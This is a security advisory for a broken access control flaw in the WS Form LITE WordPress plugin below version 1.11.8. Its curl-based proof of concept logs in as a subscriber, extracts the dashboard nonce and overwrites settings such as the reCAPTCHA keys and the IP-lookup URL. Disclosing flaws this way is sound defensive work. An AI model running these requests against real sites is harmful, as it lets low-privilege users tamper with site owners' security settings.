WS Form LITE < 1.11.8 – Subscriber+ Arbitrary Settings Update | CVE 2026-11562

Description

The plugin does not have a capability check on one of its settings-update actions, allowing authenticated users with subscriber-level access and above to modify the plugin's settings.

Proof of Concept

Prerequisites: a Subscriber-level account (e.g. via open registration).

1. Log in as the Subscriber and save the session cookies:

curl -k -c cookies.txt -b cookies.txt --data 'log=subscriber&pwd=password&wp-submit=Log+In&testcookie=1' 'https://TARGET/wp-login.php'

2. Read the plugin nonce, which is exposed to any logged-in user (including Subscribers) on the wp-admin dashboard:

curl -k -b cookies.txt 'https://TARGET/wp-admin/' | grep -o 'wsf_nonce":"[a-f0-9]*"'

3. Using that nonce value, overwrite the plugin settings (here the spam-protection reCAPTCHA keys):

curl -k -b cookies.txt 'https://TARGET/wp-admin/' --data 'page=ws-form-settings&action=wsf-settings-update&tab=spam_protection&wsf_nonce=NONCE&recaptcha_site_key=ATTACKER_KEY&recaptcha_secret_key=ATTACKER_SECRET'

4. The request returns HTTP 200 and the plugin's stored settings are now attacker-controlled. The same handler also updates other settings tabs (e.g. tab=advanced sets the IP-lookup URL and the Google Maps API key, as well as the uninstall behavior). Confirm via the WS Form > Settings screen.